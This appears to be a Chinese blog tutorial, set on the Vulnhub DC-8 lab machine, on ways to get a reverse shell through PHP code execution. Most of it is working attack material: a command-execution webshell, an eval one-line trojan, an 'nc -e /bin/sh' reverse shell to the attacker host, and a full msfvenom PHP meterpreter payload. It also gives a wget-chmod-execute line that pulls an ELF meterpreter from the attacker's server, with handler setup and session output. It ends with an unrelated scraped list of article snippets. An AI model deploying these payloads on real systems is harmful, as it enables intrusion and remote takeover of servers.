可解析PHP的反弹shell方法
这里拿vulnhub-DC-8靶场反弹shell,详情见Vulnhub-DC-8
命令执行
拿nc举例
<?php
echo system($_POST['cmd']);
?>
利用是hackbar,POST提交cmd=nc -e /bin/sh 192.168.20.128 6666,
直接反弹shell到kali。
一句话木马
<?php
eval($_POST["pass"]);
?>
拿蚁剑,哥斯拉等工具连接,如果连接不稳定还可以把shell再弹到kali上。
msf
php
msfvenom是生成payload(有效载荷)的,msfconsole是启动利用以及其他模块的。
- 首先用msfvenom生成php的payload
msfvenom可以用msfvenom -l查看所有的payload类型
-p指定payload类型,LHOST LPORT是指定监听IP和端口(kali)
┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=7777
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1115 bytes
/*<?php /**/ error_reporting(0); $ip = '192.168.20.128'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
生成的内容,放在靶机PHP Code处

- msfconsole进行监听
use exploit/multi/handler进入到msf侦听模块,设置payload类型,监听IP和端口
┌──(root㉿kali)-[/home/kali/Desktop]
└─# msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor.:okOOOkdc' 'cdkOOOko:. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO. cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO; .dOOo'WM.OOOOocccxOOOO.MX'xOOd. ,kOl'M.OOOOOOOOOOOOO.M'dOk, :kk;.OOOOOOOOOOOOO.;Ok: ;kOOOOOOOOOOOOOOOk: ,xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v6.4.5-dev ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]Metasploit Documentation: https://docs.metasploit.com/msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show optionsPayload options (generic/shell_reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Wildcard TargetView the full module info with the info, or info -d command.msf6 exploit(multi/handler) > set LHOST 192.168.20.128
LHOST => 192.168.20.128
msf6 exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options Payload options (php/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST 192.168.20.128 yes The listen address (an interface may be specified)LPORT 7777 yes The listen portExploit target:Id Name-- ----0 Wildcard TargetView the full module info with the info, or info -d command.
- 配置完毕,让靶机执行PHP代码,msf运行
exploit
等待靶机上线。
msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.20.128:7777
whoamiid
ls
[*] Sending stage (39927 bytes) to 192.168.20.143
[*] Meterpreter session 3 opened (192.168.20.128:7777 -> 192.168.20.143:37834) at 2024-06-14 13:41:24 +0800meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > ls
Listing: /var/www/html
======================Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100640/rw-r----- 317 fil 2019-05-09 00:01:03 +0800 .editorconfig
100640/rw-r----- 174 fil 2019-05-09 00:01:03 +0800 .gitignore
100640/rw-r----- 6112 fil 2019-05-09 00:01:03 +0800 .htaccess
100640/rw-r----- 114096 fil 2019-05-09 00:01:03 +0800 CHANGELOG.txt
100640/rw-r----- 1481 fil 2019-05-09 00:01:03 +0800 COPYRIGHT.txt
100640/rw-r----- 1717 fil 2019-05-09 00:01:03 +0800 INSTALL.mysql.txt
100640/rw-r----- 1874 fil 2019-05-09 00:01:03 +0800 INSTALL.pgsql.txt
100640/rw-r----- 1298 fil 2019-05-09 00:01:03 +0800 INSTALL.sqlite.txt
100640/rw-r----- 17995 fil 2019-05-09 00:01:03 +0800 INSTALL.txt
100640/rw-r----- 18092 fil 2016-11-17 07:57:05 +0800 LICENSE.txt
100640/rw-r----- 8663 fil 2019-05-09 00:01:03 +0800 MAINTAINERS.txt
100640/rw-r----- 5382 fil 2019-05-09 00:01:03 +0800 README.txt
100640/rw-r----- 10123 fil 2019-05-09 00:01:03 +0800 UPGRADE.txt
100640/rw-r----- 6604 fil 2019-05-09 00:01:03 +0800 authorize.php
100640/rw-r----- 720 fil 2019-05-09 00:01:03 +0800 cron.php
040750/rwxr-x--- 4096 dir 2019-05-09 00:01:03 +0800 includes
100640/rw-r----- 529 fil 2019-05-09 00:01:03 +0800 index.php
100640/rw-r----- 703 fil 2019-05-09 00:01:03 +0800 install.php
040750/rwxr-x--- 4096 dir 2019-05-09 00:01:03 +0800 misc
040750/rwxr-x--- 4096 dir 2019-05-09 00:01:03 +0800 modules
040750/rwxr-x--- 4096 dir 2019-05-09 00:01:03 +0800 profiles
100640/rw-r----- 2189 fil 2019-05-09 00:01:03 +0800 robots.txt
040750/rwxr-x--- 4096 dir 2019-05-09 00:01:03 +0800 scripts
040750/rwxr-x--- 4096 dir 2019-05-09 00:01:03 +0800 sites
040750/rwxr-x--- 4096 dir 2019-05-09 00:01:03 +0800 themes
100640/rw-r----- 19986 fil 2019-05-09 00:01:03 +0800 update.php
100640/rw-r----- 2200 fil 2019-05-09 00:01:03 +0800 web.config
100640/rw-r----- 417 fil 2019-05-09 00:01:03 +0800 xmlrpc.php
linux
- 首先生成利用脚本
┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=7777 -f elf > pass
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# ls
46996.sh dir pass pass.sh reports source.txt
用python开启简易http服务器
──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
- 修改靶机PHP Code
<?php system("wget 192.168.20.128:4444/pass -O /tmp/pass;cd /tmp;chmod +x pass;./pass &")?>
靶机下载脚本,加权,执行。

- 在msfconsole开启监听
修改LHOST,LPORT,payload
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options Payload options (generic/shell_reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Wildcard TargetView the full module info with the info, or info -d command.msf6 exploit(multi/handler) > set LHOST 192.128.20.128
LHOST => 192.128.20.128
msf6 exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show optionsPayload options (linux/x86/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST 192.128.20.128 yes The listen address (an interface may be specified)LPORT 7777 yes The listen portExploit target:Id Name-- ----0 Wildcard TargetView the full module info with the info, or info -d command.msf6 exploit(multi/handler) > exploit [-] Handler failed to bind to 192.128.20.128:7777:- -
[*] Started reverse TCP handler on 0.0.0.0:7777
[*] Sending stage (1017704 bytes) to 192.168.20.143
[*] Meterpreter session 1 opened (192.168.20.128:7777 -> 192.168.20.143:37844) at 2024-06-14 14:31:38 +0800meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > ls
Listing: /tmp
=============Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 675 fil 2024-06-13 20:19:52 +0800 .htaccess
100744/rwxr--r-- 3720 fil 2024-06-13 22:11:44 +0800 46996.sh
100755/rwxr-xr-x 208 fil 2024-06-14 14:21:23 +0800 pass
100744/rwxr--r-- 3584 fil 2024-06-13 22:17:57 +0800 pass.sh
- 之后可以在msf搜索可利用的模块
相关文章:
可解析PHP的反弹shell方法
这里拿vulnhub-DC-8靶场反弹shell,详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar,POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...
AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集
AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...
Oracle备份失败处理,看这一篇就够了!
作者:IT邦德 中国DBA联盟(ACDU)成员,10余年DBA工作经验, Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主,全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复, 安装迁移,性能优化、故障…...
后端中缓存的作用以及基于Spring框架演示实现缓存
缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...
Python:基础爬虫
Python爬虫学习(网络爬虫(又称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...
机器人运动学笔记
一、建模 参考资料:https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样,主要的区别在于SDH中坐标系在连杆末端,MDH中坐标系在连杆首端。虽然这里只是给出z轴,但是由于后面原点位…...
webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)
考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...
stm32MP135裸机编程:启动流程分析
0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式: 注: UART和USB启动并不是指通过UART/USB加载程序,而是通过UA…...
在Pycharm使用Github Copilot
文章目录 1.GitHub Copilot 是什么2.注册GitHub Copilot3.官方使用文档4.安装 GitHub Copilot插件5.在Pycharm中使用6.相关功能键7.启用或禁用 GitHub Copilot 1.GitHub Copilot 是什么 GitHub Copilot 是一款 AI 编码助手,可帮助你更快、更省力地编写代码ÿ…...
Docker镜像构建:Ubuntu18.04+python3.10
1、编写 Dockerfile # 使用Ubuntu 18.04作为基础镜像 FROM ubuntu:18.04RUN apt-get update && apt-get install -y \build-essential \curl \zlib1g-dev \libssl-dev \&& rm -rf /var/lib/apt/lists/*ENV PYTHON_VERSION3.10.8RUN curl -O https://www.pytho…...
如何进行LLM大模型推理优化
解密LLM大模型推理优化本质 一、LLM推理的本质以及考量点 LLM推理聚焦Transformer架构的Decoder以生成文本。过程分两步:首先,模型初始化并加载输入文本;接着,进入解码阶段,模型自回归地生成文本,直至满足…...
QLoRA:高效的LLMs微调方法,48G内存可调65B 模型
文章:https://arxiv.org/pdf/2305.14314.pdf 代码:https://github.com/artidoro/qlora概括 QLORA是一种有效的微调方法,它减少了内存使用,足以在单个48GB GPU上微调65B参数模型,同时保留完整的16位微调任务性能。QLOR…...
力扣48. 旋转图像
给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。你必须在原地旋转图像,这意味着你需要直接修改输入的二维矩阵。请不要使用另一个矩阵来旋转图像。 示例 1: 输入:matrix [[1,2,3],[4,5,6],[7,8,9]] 输出…...
【踩坑日记】I.MX6ULL裸机启动时由于编译的程序链接地址不对造成的程序没正确运行
1 现象 程序完全正确,但是由于程序链接的位置不对,导致程序没有正常运行。 2 寻找原因 对生成的bin文件进行反汇编: arm-linux-gnueabihf-objdump -D -m arm ledc.elf > ledc.dis查看生成的反汇编文件 发现在在链接的开始地址处&…...
【计算机网络仿真实验-实验2.6】带交换机的RIP路由协议
实验2.6 带交换机的rip路由协议 1. 实验拓扑图 2. 实验前查看是否能ping通 不能 3. 三层交换机配置 switch# configure terminal switch(config)# hostname s5750 !将交换机更名为S5750 S5750# configure terminal S5750(config)#vlan 10 S5750(config-vlan)#exit S57…...
Apache网页优化
一、网页压缩与缓存 注意文章中的http为源代码包安装,配置时指定了mod_deflate、mod_expires、mod_rewrite模块。所有的模块是否生效可以通过在浏览器中找到"开发工具"中的网络选项卡中的信息进行验证,里面有请求报文和响应报文的部分信息。 通…...
OpenCV形态学
什么事形态学处理 基于图像形态进行处理的一些基本方法; 这些处理方法基本是对二进制图像进行处理; 卷积核决定着图像出来后的效果。 一 图像二值化 什么是二值化 将图像的每个像素变成两种值,如0,255. 全局二值化。 局部二值化。 thres…...
首途第三十三套清新简约卡片风格蓝紫渐变色短视频模板 | 苹果CMSV10主题
下载地址:首途第三十三套清新简约卡片风格蓝紫渐变色短视频模板 | 苹果CMSV10主题 首途第三十三套清新简约卡片风格蓝紫渐变色短视频模板 | 苹果CMSV10主题 我们的简约风格,以纯洁的白色和深邃的紫色为主色调,为您提供了一种清新、时尚的浏览…...
永磁同步直线电机(PMLSM)控制与仿真2-永磁同步直线电机数学模型搭建
文章目录 1、公式总结2、电压方程模型3、运动方程4、推力方程5、转化关系 写在前面:原本为一篇文章写完了永磁同步直线电机数学模型介绍,永磁同步直线电机数学模型搭建,以及永磁同步直线电机三环参数整定及三环仿真模型搭建,但因为…...
MPLS VPN一
R1为客户,现在进行一些基本配置,来确保可以通路由 先启动OSPF跑通 在R3上 等一会 现在启动MPLS 对R3 对R4 然后在R2上 再把接口划到空间里面 原来的IP在公网里面,被清除了 然后再配置接口 查看 对R1(相当于客户) …...
Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...
Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)
文章目录 1.什么是Redis?2.为什么要使用redis作为mysql的缓存?3.什么是缓存雪崩、缓存穿透、缓存击穿?3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
浅谈不同二分算法的查找情况
二分算法原理比较简单,但是实际的算法模板却有很多,这一切都源于二分查找问题中的复杂情况和二分算法的边界处理,以下是博主对一些二分算法查找的情况分析。 需要说明的是,以下二分算法都是基于有序序列为升序有序的情况…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
tree 树组件大数据卡顿问题优化
问题背景 项目中有用到树组件用来做文件目录,但是由于这个树组件的节点越来越多,导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多,导致的浏览器卡顿,这里很明显就需要用到虚拟列表的技术&…...
有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计
随着大语言模型(LLM)参数规模的增长,推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长,而KV缓存的内存消耗可能高达数十GB(例如Llama2-7B处理100K token时需50GB内存&a…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)
前言: 双亲委派机制对于面试这块来说非常重要,在实际开发中也是经常遇见需要打破双亲委派的需求,今天我们一起来探索一下什么是双亲委派机制,在此之前我们先介绍一下类的加载器。 目录 编辑 前言: 类加载器 1. …...
